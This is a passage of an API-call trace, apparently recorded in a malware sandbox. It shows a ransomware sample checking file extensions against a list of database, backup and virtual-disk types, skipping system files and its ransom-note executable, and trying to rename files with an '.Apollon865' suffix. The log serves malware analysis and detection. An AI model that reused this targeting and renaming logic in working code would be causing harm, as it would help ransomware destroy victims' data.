	[0051.118] lstrlenW (lpString="adb") returned 3
	[0051.118] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0051.118] lstrlenW (lpString="adb") returned 3
	[0051.118] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0051.118] lstrlenW (lpString="ade") returned 3
	[0051.118] lstrcmpiW (lpString1="png", lpString2="ade") returned 1
	[0051.118] lstrlenW (lpString="adf") returned 3
	[0051.118] lstrcmpiW (lpString1="png", lpString2="adf") returned 1
	[0051.118] lstrlenW (lpString="adn") returned 3
	[0051.118] lstrcmpiW (lpString1="png", lpString2="adn") returned 1
	[0051.118] lstrlenW (lpString="adp") returned 3
	[0051.118] lstrcmpiW (lpString1="png", lpString2="adp") returned 1
	[0051.118] lstrlenW (lpString="alf") returned 3
	[0051.118] lstrcmpiW (lpString1="png", lpString2="alf") returned 1
	[0051.118] lstrlenW (lpString="ask") returned 3
	[0051.118] lstrcmpiW (lpString1="png", lpString2="ask") returned 1
	[0051.118] lstrlenW (lpString="btr") returned 3
	[0051.118] lstrcmpiW (lpString1="png", lpString2="btr") returned 1
	[0051.118] lstrlenW (lpString="cat") returned 3
	[0051.119] lstrcmpiW (lpString1="png", lpString2="cat") returned 1
	[0051.119] lstrlenW (lpString="cdb") returned 3
	[0051.119] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1
	[0051.119] lstrlenW (lpString="ckp") returned 3
	[0051.119] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1
	[0051.119] lstrlenW (lpString="cma") returned 3
	[0051.119] lstrcmpiW (lpString1="png", lpString2="cma") returned 1
	[0051.119] lstrlenW (lpString="cpd") returned 3
	[0051.119] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1
	[0051.119] lstrlenW (lpString="dacpac") returned 6
	[0051.119] lstrcmpiW (lpString1="nd.png", lpString2="dacpac") returned 1
	[0051.119] lstrlenW (lpString="dad") returned 3
	[0051.119] lstrcmpiW (lpString1="png", lpString2="dad") returned 1
	[0051.119] lstrlenW (lpString="dadiagrams") returned 10
	[0051.119] lstrcmpiW (lpString1="ground.png", lpString2="dadiagrams") returned 1
	[0051.119] lstrlenW (lpString="daschema") returned 8
	[0051.119] lstrcmpiW (lpString1="ound.png", lpString2="daschema") returned 1
	[0051.119] lstrlenW (lpString="db-journal") returned 10
	[0051.119] lstrcmpiW (lpString1="ground.png", lpString2="db-journal") returned 1
	[0051.119] lstrlenW (lpString="db-shm") returned 6
	[0051.119] lstrcmpiW (lpString1="nd.png", lpString2="db-shm") returned 1
	[0051.119] lstrlenW (lpString="db-wal") returned 6
	[0051.119] lstrcmpiW (lpString1="nd.png", lpString2="db-wal") returned 1
	[0051.119] lstrlenW (lpString="dbc") returned 3
	[0051.119] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1
	[0051.119] lstrlenW (lpString="dbs") returned 3
	[0051.119] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1
	[0051.119] lstrlenW (lpString="dbt") returned 3
	[0051.119] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1
	[0051.119] lstrlenW (lpString="dbv") returned 3
	[0051.119] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1
	[0051.119] lstrlenW (lpString="dbx") returned 3
	[0051.119] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1
	[0051.119] lstrlenW (lpString="dcb") returned 3
	[0051.120] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1
	[0051.120] lstrlenW (lpString="dct") returned 3
	[0051.120] lstrcmpiW (lpString1="png", lpString2="dct") returned 1
	[0051.120] lstrlenW (lpString="dcx") returned 3
	[0051.120] lstrcmpiW (lpString1="png", lpString2="dcx") returned 1
	[0051.120] lstrlenW (lpString="ddl") returned 3
	[0051.120] lstrcmpiW (lpString1="png", lpString2="ddl") returned 1
	[0051.120] lstrlenW (lpString="dlis") returned 4
	[0051.120] lstrcmpiW (lpString1=".png", lpString2="dlis") returned -1
	[0051.120] lstrlenW (lpString="dp1") returned 3
	[0051.120] lstrcmpiW (lpString1="png", lpString2="dp1") returned 1
	[0051.120] lstrlenW (lpString="dqy") returned 3
	[0051.120] lstrcmpiW (lpString1="png", lpString2="dqy") returned 1
	[0051.120] lstrlenW (lpString="dsk") returned 3
	[0051.120] lstrcmpiW (lpString1="png", lpString2="dsk") returned 1
	[0051.120] lstrlenW (lpString="dsn") returned 3
	[0051.120] lstrcmpiW (lpString1="png", lpString2="dsn") returned 1
	[0051.120] lstrlenW (lpString="dtsx") returned 4
	[0051.120] lstrcmpiW (lpString1=".png", lpString2="dtsx") returned -1
	[0051.120] lstrlenW (lpString="dxl") returned 3
	[0051.120] lstrcmpiW (lpString1="png", lpString2="dxl") returned 1
	[0051.120] lstrlenW (lpString="eco") returned 3
	[0051.120] lstrcmpiW (lpString1="png", lpString2="eco") returned 1
	[0051.120] lstrlenW (lpString="ecx") returned 3
	[0051.120] lstrcmpiW (lpString1="png", lpString2="ecx") returned 1
	[0051.120] lstrlenW (lpString="edb") returned 3
	[0051.120] lstrcmpiW (lpString1="png", lpString2="edb") returned 1
	[0051.120] lstrlenW (lpString="epim") returned 4
	[0051.120] lstrcmpiW (lpString1=".png", lpString2="epim") returned -1
	[0051.120] lstrlenW (lpString="fcd") returned 3
	[0051.120] lstrcmpiW (lpString1="png", lpString2="fcd") returned 1
	[0051.120] lstrlenW (lpString="fdb") returned 3
	[0051.120] lstrcmpiW (lpString1="png", lpString2="fdb") returned 1
	[0051.120] lstrlenW (lpString="fic") returned 3
	[0051.121] lstrcmpiW (lpString1="png", lpString2="fic") returned 1
	[0051.121] lstrlenW (lpString="flexolibrary") returned 12
	[0051.121] lstrcmpiW (lpString1="ckground.png", lpString2="flexolibrary") returned -1
	[0051.121] lstrlenW (lpString="fm5") returned 3
	[0051.121] lstrcmpiW (lpString1="png", lpString2="fm5") returned 1
	[0051.121] lstrlenW (lpString="fmp") returned 3
	[0051.121] lstrcmpiW (lpString1="png", lpString2="fmp") returned 1
	[0051.121] lstrlenW (lpString="fmp12") returned 5
	[0051.121] lstrcmpiW (lpString1="d.png", lpString2="fmp12") returned -1
	[0051.121] lstrlenW (lpString="fmpsl") returned 5
	[0051.121] lstrcmpiW (lpString1="d.png", lpString2="fmpsl") returned -1
	[0051.121] lstrlenW (lpString="fol") returned 3
	[0051.121] lstrcmpiW (lpString1="png", lpString2="fol") returned 1
	[0051.121] lstrlenW (lpString="fp3") returned 3
	[0051.121] lstrcmpiW (lpString1="png", lpString2="fp3") returned 1
	[0051.121] lstrlenW (lpString="fp4") returned 3
	[0051.121] lstrcmpiW (lpString1="png", lpString2="fp4") returned 1
	[0051.121] lstrlenW (lpString="fp5") returned 3
	[0051.121] lstrcmpiW (lpString1="png", lpString2="fp5") returned 1
	[0051.121] lstrlenW (lpString="fp7") returned 3
	[0051.121] lstrcmpiW (lpString1="png", lpString2="fp7") returned 1
	[0051.121] lstrlenW (lpString="fpt") returned 3
	[0051.121] lstrcmpiW (lpString1="png", lpString2="fpt") returned 1
	[0051.121] lstrlenW (lpString="frm") returned 3
	[0051.121] lstrcmpiW (lpString1="png", lpString2="frm") returned 1
	[0051.121] lstrlenW (lpString="gdb") returned 3
	[0051.121] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1
	[0051.121] lstrlenW (lpString="gdb") returned 3
	[0051.121] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1
	[0051.121] lstrlenW (lpString="grdb") returned 4
	[0051.121] lstrcmpiW (lpString1=".png", lpString2="grdb") returned -1
	[0051.121] lstrlenW (lpString="gwi") returned 3
	[0051.121] lstrcmpiW (lpString1="png", lpString2="gwi") returned 1
	[0051.121] lstrlenW (lpString="hdb") returned 3
	[0051.122] lstrcmpiW (lpString1="png", lpString2="hdb") returned 1
	[0051.122] lstrlenW (lpString="his") returned 3
	[0051.122] lstrcmpiW (lpString1="png", lpString2="his") returned 1
	[0051.122] lstrlenW (lpString="ib") returned 2
	[0051.182] lstrcmpiW (lpString1="ng", lpString2="ib") returned 1
	[0051.182] lstrlenW (lpString="idb") returned 3
	[0051.182] lstrcmpiW (lpString1="png", lpString2="idb") returned 1
	[0051.182] lstrlenW (lpString="ihx") returned 3
	[0051.182] lstrcmpiW (lpString1="png", lpString2="ihx") returned 1
	[0051.182] lstrlenW (lpString="itdb") returned 4
	[0051.182] lstrcmpiW (lpString1=".png", lpString2="itdb") returned -1
	[0051.182] lstrlenW (lpString="itw") returned 3
	[0051.182] lstrcmpiW (lpString1="png", lpString2="itw") returned 1
	[0051.183] lstrlenW (lpString="jet") returned 3
	[0051.183] lstrcmpiW (lpString1="png", lpString2="jet") returned 1
	[0051.183] lstrlenW (lpString="jtx") returned 3
	[0051.183] lstrcmpiW (lpString1="png", lpString2="jtx") returned 1
	[0051.183] lstrlenW (lpString="kdb") returned 3
	[0051.183] lstrcmpiW (lpString1="png", lpString2="kdb") returned 1
	[0051.183] lstrlenW (lpString="kexi") returned 4
	[0051.183] lstrcmpiW (lpString1=".png", lpString2="kexi") returned -1
	[0051.183] lstrlenW (lpString="kexic") returned 5
	[0051.183] lstrcmpiW (lpString1="d.png", lpString2="kexic") returned -1
	[0051.183] lstrlenW (lpString="kexis") returned 5
	[0051.183] lstrcmpiW (lpString1="d.png", lpString2="kexis") returned -1
	[0051.183] lstrlenW (lpString="lgc") returned 3
	[0051.183] lstrcmpiW (lpString1="png", lpString2="lgc") returned 1
	[0051.183] lstrlenW (lpString="lwx") returned 3
	[0051.183] lstrcmpiW (lpString1="png", lpString2="lwx") returned 1
	[0051.183] lstrlenW (lpString="maf") returned 3
	[0051.183] lstrcmpiW (lpString1="png", lpString2="maf") returned 1
	[0051.183] lstrlenW (lpString="maq") returned 3
	[0051.183] lstrcmpiW (lpString1="png", lpString2="maq") returned 1
	[0051.183] lstrlenW (lpString="mar") returned 3
	[0051.183] lstrcmpiW (lpString1="png", lpString2="mar") returned 1
	[0051.183] lstrlenW (lpString="marshal") returned 7
	[0051.183] lstrcmpiW (lpString1="und.png", lpString2="marshal") returned 1
	[0051.183] lstrlenW (lpString="mas") returned 3
	[0051.183] lstrcmpiW (lpString1="png", lpString2="mas") returned 1
	[0051.183] lstrlenW (lpString="mav") returned 3
	[0051.183] lstrcmpiW (lpString1="png", lpString2="mav") returned 1
	[0051.183] lstrlenW (lpString="maw") returned 3
	[0051.183] lstrcmpiW (lpString1="png", lpString2="maw") returned 1
	[0051.183] lstrlenW (lpString="mdbhtml") returned 7
	[0051.183] lstrcmpiW (lpString1="und.png", lpString2="mdbhtml") returned 1
	[0051.183] lstrlenW (lpString="mdn") returned 3
	[0051.183] lstrcmpiW (lpString1="png", lpString2="mdn") returned 1
	[0051.184] lstrlenW (lpString="mdt") returned 3
	[0051.184] lstrcmpiW (lpString1="png", lpString2="mdt") returned 1
	[0051.184] lstrlenW (lpString="mfd") returned 3
	[0051.184] lstrcmpiW (lpString1="png", lpString2="mfd") returned 1
	[0051.184] lstrlenW (lpString="mpd") returned 3
	[0051.184] lstrcmpiW (lpString1="png", lpString2="mpd") returned 1
	[0051.184] lstrlenW (lpString="mrg") returned 3
	[0051.184] lstrcmpiW (lpString1="png", lpString2="mrg") returned 1
	[0051.184] lstrlenW (lpString="mud") returned 3
	[0051.184] lstrcmpiW (lpString1="png", lpString2="mud") returned 1
	[0051.184] lstrlenW (lpString="mwb") returned 3
	[0051.184] lstrcmpiW (lpString1="png", lpString2="mwb") returned 1
	[0051.184] lstrlenW (lpString="myd") returned 3
	[0051.184] lstrcmpiW (lpString1="png", lpString2="myd") returned 1
	[0051.184] lstrlenW (lpString="ndf") returned 3
	[0051.184] lstrcmpiW (lpString1="png", lpString2="ndf") returned 1
	[0051.184] lstrlenW (lpString="nnt") returned 3
	[0051.184] lstrcmpiW (lpString1="png", lpString2="nnt") returned 1
	[0051.184] lstrlenW (lpString="nrmlib") returned 6
	[0051.184] lstrcmpiW (lpString1="nd.png", lpString2="nrmlib") returned -1
	[0051.184] lstrlenW (lpString="ns2") returned 3
	[0051.184] lstrcmpiW (lpString1="png", lpString2="ns2") returned 1
	[0051.184] lstrlenW (lpString="ns3") returned 3
	[0051.184] lstrcmpiW (lpString1="png", lpString2="ns3") returned 1
	[0051.184] lstrlenW (lpString="ns4") returned 3
	[0051.184] lstrcmpiW (lpString1="png", lpString2="ns4") returned 1
	[0051.184] lstrlenW (lpString="nsf") returned 3
	[0051.184] lstrcmpiW (lpString1="png", lpString2="nsf") returned 1
	[0051.184] lstrlenW (lpString="nv") returned 2
	[0051.184] lstrcmpiW (lpString1="ng", lpString2="nv") returned -1
	[0051.184] lstrlenW (lpString="nv2") returned 3
	[0051.184] lstrcmpiW (lpString1="png", lpString2="nv2") returned 1
	[0051.184] lstrlenW (lpString="nwdb") returned 4
	[0051.185] lstrcmpiW (lpString1=".png", lpString2="nwdb") returned -1
	[0051.185] lstrlenW (lpString="nyf") returned 3
	[0051.185] lstrcmpiW (lpString1="png", lpString2="nyf") returned 1
	[0051.185] lstrlenW (lpString="odb") returned 3
	[0051.185] lstrcmpiW (lpString1="png", lpString2="odb") returned 1
	[0051.185] lstrlenW (lpString="odb") returned 3
	[0051.185] lstrcmpiW (lpString1="png", lpString2="odb") returned 1
	[0051.185] lstrlenW (lpString="oqy") returned 3
	[0051.185] lstrcmpiW (lpString1="png", lpString2="oqy") returned 1
	[0051.185] lstrlenW (lpString="ora") returned 3
	[0051.185] lstrcmpiW (lpString1="png", lpString2="ora") returned 1
	[0051.185] lstrlenW (lpString="orx") returned 3
	[0051.185] lstrcmpiW (lpString1="png", lpString2="orx") returned 1
	[0051.185] lstrlenW (lpString="owc") returned 3
	[0051.185] lstrcmpiW (lpString1="png", lpString2="owc") returned 1
	[0051.185] lstrlenW (lpString="p96") returned 3
	[0051.185] lstrcmpiW (lpString1="png", lpString2="p96") returned 1
	[0051.185] lstrlenW (lpString="p97") returned 3
	[0051.185] lstrcmpiW (lpString1="png", lpString2="p97") returned 1
	[0051.185] lstrlenW (lpString="pan") returned 3
	[0051.185] lstrcmpiW (lpString1="png", lpString2="pan") returned 1
	[0051.185] lstrlenW (lpString="pdb") returned 3
	[0051.185] lstrcmpiW (lpString1="png", lpString2="pdb") returned 1
	[0051.185] lstrlenW (lpString="pdm") returned 3
	[0051.185] lstrcmpiW (lpString1="png", lpString2="pdm") returned 1
	[0051.185] lstrlenW (lpString="pnz") returned 3
	[0051.185] lstrcmpiW (lpString1="png", lpString2="pnz") returned -1
	[0051.185] lstrlenW (lpString="qry") returned 3
	[0051.185] lstrcmpiW (lpString1="png", lpString2="qry") returned -1
	[0051.185] lstrlenW (lpString="qvd") returned 3
	[0051.185] lstrcmpiW (lpString1="png", lpString2="qvd") returned -1
	[0051.185] lstrlenW (lpString="rbf") returned 3
	[0051.185] lstrcmpiW (lpString1="png", lpString2="rbf") returned -1
	[0051.186] lstrlenW (lpString="rctd") returned 4
	[0051.186] lstrcmpiW (lpString1=".png", lpString2="rctd") returned -1
	[0051.186] lstrlenW (lpString="rod") returned 3
	[0051.186] lstrcmpiW (lpString1="png", lpString2="rod") returned -1
	[0051.186] lstrlenW (lpString="rodx") returned 4
	[0051.186] lstrcmpiW (lpString1=".png", lpString2="rodx") returned -1
	[0051.186] lstrlenW (lpString="rpd") returned 3
	[0051.186] lstrcmpiW (lpString1="png", lpString2="rpd") returned -1
	[0051.186] lstrlenW (lpString="rsd") returned 3
	[0051.186] lstrcmpiW (lpString1="png", lpString2="rsd") returned -1
	[0051.186] lstrlenW (lpString="sas7bdat") returned 8
	[0051.186] lstrcmpiW (lpString1="ound.png", lpString2="sas7bdat") returned -1
	[0051.186] lstrlenW (lpString="sbf") returned 3
	[0051.186] lstrcmpiW (lpString1="png", lpString2="sbf") returned -1
	[0051.186] lstrlenW (lpString="scx") returned 3
	[0051.186] lstrcmpiW (lpString1="png", lpString2="scx") returned -1
	[0051.186] lstrlenW (lpString="sdb") returned 3
	[0051.186] lstrcmpiW (lpString1="png", lpString2="sdb") returned -1
	[0051.186] lstrlenW (lpString="sdc") returned 3
	[0051.186] lstrcmpiW (lpString1="png", lpString2="sdc") returned -1
	[0051.186] lstrlenW (lpString="sdf") returned 3
	[0051.186] lstrcmpiW (lpString1="png", lpString2="sdf") returned -1
	[0051.186] lstrlenW (lpString="sis") returned 3
	[0051.186] lstrcmpiW (lpString1="png", lpString2="sis") returned -1
	[0051.186] lstrlenW (lpString="spq") returned 3
	[0051.186] lstrcmpiW (lpString1="png", lpString2="spq") returned -1
	[0051.186] lstrlenW (lpString="te") returned 2
	[0051.186] lstrcmpiW (lpString1="ng", lpString2="te") returned -1
	[0051.186] lstrlenW (lpString="teacher") returned 7
	[0051.186] lstrcmpiW (lpString1="und.png", lpString2="teacher") returned 1
	[0051.186] lstrlenW (lpString="tmd") returned 3
	[0051.186] lstrcmpiW (lpString1="png", lpString2="tmd") returned -1
	[0051.186] lstrlenW (lpString="tps") returned 3
	[0051.187] lstrcmpiW (lpString1="png", lpString2="tps") returned -1
	[0051.187] lstrlenW (lpString="trc") returned 3
	[0051.187] lstrcmpiW (lpString1="png", lpString2="trc") returned -1
	[0051.187] lstrlenW (lpString="trc") returned 3
	[0051.187] lstrcmpiW (lpString1="png", lpString2="trc") returned -1
	[0051.187] lstrlenW (lpString="trm") returned 3
	[0051.187] lstrcmpiW (lpString1="png", lpString2="trm") returned -1
	[0051.187] lstrlenW (lpString="udb") returned 3
	[0051.187] lstrcmpiW (lpString1="png", lpString2="udb") returned -1
	[0051.187] lstrlenW (lpString="udl") returned 3
	[0051.187] lstrcmpiW (lpString1="png", lpString2="udl") returned -1
	[0051.187] lstrlenW (lpString="usr") returned 3
	[0051.187] lstrcmpiW (lpString1="png", lpString2="usr") returned -1
	[0051.187] lstrlenW (lpString="v12") returned 3
	[0051.187] lstrcmpiW (lpString1="png", lpString2="v12") returned -1
	[0051.187] lstrlenW (lpString="vis") returned 3
	[0051.187] lstrcmpiW (lpString1="png", lpString2="vis") returned -1
	[0051.187] lstrlenW (lpString="vpd") returned 3
	[0051.187] lstrcmpiW (lpString1="png", lpString2="vpd") returned -1
	[0051.187] lstrlenW (lpString="vvv") returned 3
	[0051.187] lstrcmpiW (lpString1="png", lpString2="vvv") returned -1
	[0051.187] lstrlenW (lpString="wdb") returned 3
	[0051.187] lstrcmpiW (lpString1="png", lpString2="wdb") returned -1
	[0051.187] lstrlenW (lpString="wmdb") returned 4
	[0051.187] lstrcmpiW (lpString1=".png", lpString2="wmdb") returned -1
	[0051.187] lstrlenW (lpString="wrk") returned 3
	[0051.187] lstrcmpiW (lpString1="png", lpString2="wrk") returned -1
	[0051.187] lstrlenW (lpString="xdb") returned 3
	[0051.187] lstrcmpiW (lpString1="png", lpString2="xdb") returned -1
	[0051.187] lstrlenW (lpString="xld") returned 3
	[0051.187] lstrcmpiW (lpString1="png", lpString2="xld") returned -1
	[0051.187] lstrlenW (lpString="xmlff") returned 5
	[0051.187] lstrcmpiW (lpString1="d.png", lpString2="xmlff") returned -1
	[0051.187] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2feb941, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2feb941, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x769, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1
	[0051.187] lstrcmpiW (lpString1="behavior.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.188] lstrcmpiW (lpString1="behavior.xml", lpString2="Apollon865.txt.exe") returned 1
	[0051.188] lstrcmpiW (lpString1="behavior.xml", lpString2=".") returned 1
	[0051.188] lstrcmpiW (lpString1="behavior.xml", lpString2="..") returned 1
	[0051.188] lstrcmpiW (lpString1="behavior.xml", lpString2="windows") returned -1
	[0051.188] lstrcmpiW (lpString1="behavior.xml", lpString2="bootmgr") returned -1
	[0051.188] lstrcmpiW (lpString1="behavior.xml", lpString2="temp") returned -1
	[0051.188] lstrcmpiW (lpString1="behavior.xml", lpString2="pagefile.sys") returned -1
	[0051.188] lstrcmpiW (lpString1="behavior.xml", lpString2="boot") returned -1
	[0051.188] lstrcmpiW (lpString1="behavior.xml", lpString2="ids.txt") returned -1
	[0051.188] lstrcmpiW (lpString1="behavior.xml", lpString2="ntuser.dat") returned -1
	[0051.188] lstrcmpiW (lpString1="behavior.xml", lpString2="perflogs") returned -1
	[0051.188] lstrcmpiW (lpString1="behavior.xml", lpString2="MSBuild") returned -1
	[0051.188] lstrlenW (lpString="behavior.xml") returned 12
	[0051.188] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png") returned 98
	[0051.188] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="behavior.xml" | out: lpString1="behavior.xml") returned="behavior.xml"
	[0051.188] lstrlenW (lpString="behavior.xml") returned 12
	[0051.188] lstrlenW (lpString="Apollon865") returned 10
	[0051.188] lstrcmpiW (lpString1="havior.xml", lpString2="Apollon865") returned 1
	[0051.188] lstrlenW (lpString=".dll") returned 4
	[0051.188] lstrcmpiW (lpString1="behavior.xml", lpString2=".dll") returned 1
	[0051.188] lstrlenW (lpString=".lnk") returned 4
	[0051.188] lstrcmpiW (lpString1="behavior.xml", lpString2=".lnk") returned 1
	[0051.188] lstrlenW (lpString=".ini") returned 4
	[0051.188] lstrcmpiW (lpString1="behavior.xml", lpString2=".ini") returned 1
	[0051.188] lstrlenW (lpString=".sys") returned 4
	[0051.188] lstrcmpiW (lpString1="behavior.xml", lpString2=".sys") returned 1
	[0051.188] lstrlenW (lpString="behavior.xml") returned 12
	[0051.188] lstrlenW (lpString="bak") returned 3
	[0051.188] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0051.188] lstrlenW (lpString="ba_") returned 3
	[0051.188] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0051.188] lstrlenW (lpString="dbb") returned 3
	[0051.188] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0051.189] lstrlenW (lpString="vmdk") returned 4
	[0051.189] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0051.189] lstrlenW (lpString="rar") returned 3
	[0051.189] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0051.189] lstrlenW (lpString="zip") returned 3
	[0051.189] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0051.189] lstrlenW (lpString="tgz") returned 3
	[0051.189] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0051.189] lstrlenW (lpString="vbox") returned 4
	[0051.189] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0051.189] lstrlenW (lpString="vdi") returned 3
	[0051.189] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0051.189] lstrlenW (lpString="vhd") returned 3
	[0051.189] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0051.189] lstrlenW (lpString="vhdx") returned 4
	[0051.189] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0051.189] lstrlenW (lpString="avhd") returned 4
	[0051.189] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0051.189] lstrlenW (lpString="db") returned 2
	[0051.189] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0051.189] lstrlenW (lpString="db2") returned 3
	[0051.189] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0051.189] lstrlenW (lpString="db3") returned 3
	[0051.189] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0051.189] lstrlenW (lpString="dbf") returned 3
	[0051.189] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0051.189] lstrlenW (lpString="mdf") returned 3
	[0051.189] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0051.189] lstrlenW (lpString="mdb") returned 3
	[0051.189] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0051.189] lstrlenW (lpString="sql") returned 3
	[0051.189] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0051.190] lstrlenW (lpString="sqlite") returned 6
	[0051.190] lstrcmpiW (lpString1="or.xml", lpString2="sqlite") returned -1
	[0051.190] lstrlenW (lpString="sqlite3") returned 7
	[0051.190] lstrcmpiW (lpString1="ior.xml", lpString2="sqlite3") returned -1
	[0051.190] lstrlenW (lpString="sqlitedb") returned 8
	[0051.190] lstrcmpiW (lpString1="vior.xml", lpString2="sqlitedb") returned 1
	[0051.190] lstrlenW (lpString="xml") returned 3
	[0051.190] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0051.190] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml.Apollon865") returned 107
	[0051.190] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml.Apollon865" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml.apollon865"), dwFlags=0x1) returned 0
	[0051.190] GetLastError () returned 0x5
	[0051.190] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml MoveFileEx error 5\r\n") returned 125
	[0051.190] lstrlenA (lpString="[ERROR] C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml MoveFileEx error 5\r\n") returned 125
	[0051.190] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0051.190] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x19a1
	[0051.191] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x7d, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x7d, lpOverlapped=0x0) returned 1
	[0051.191] CloseHandle (hObject=0x14c) returned 1
	[0051.191] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0051.191] CloseHandle (hObject=0x0) returned 0
	[0051.191] CloseHandle (hObject=0x0) returned 0
	[0051.191] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fe8d810, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fe8d810, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.191] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.191] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3011a9e, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd3011a9e, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 1
	[0051.191] lstrcmpiW (lpString1="watermark.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.191] lstrcmpiW (lpString1="watermark.png", lpString2="Apollon865.txt.exe") returned 1
	[0051.191] lstrcmpiW (lpString1="watermark.png", lpString2=".") returned 1
	[0051.191] lstrcmpiW (lpString1="watermark.png", lpString2="..") returned 1
	[0051.191] lstrcmpiW (lpString1="watermark.png", lpString2="windows") returned -1
	[0051.191] lstrcmpiW (lpString1="watermark.png", lpString2="bootmgr") returned 1
	[0051.191] lstrcmpiW (lpString1="watermark.png", lpString2="temp") returned 1
	[0051.191] lstrcmpiW (lpString1="watermark.png", lpString2="pagefile.sys") returned 1
